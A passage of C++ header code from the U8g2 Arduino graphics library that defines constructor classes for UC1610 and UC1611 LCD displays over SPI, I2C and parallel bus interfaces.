dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1610_EA_DOGXL160_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1610_EA_DOGXL160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1610_i2c_ea_dogxl160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_6800 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_8080 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_6800 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_8080 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_6800 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_8080 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EA_DOGM240_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGM240_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogm240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_6800 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_8080 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_6800 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_8080 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_4W_SW_SPI : public U8G2 {\n  public: 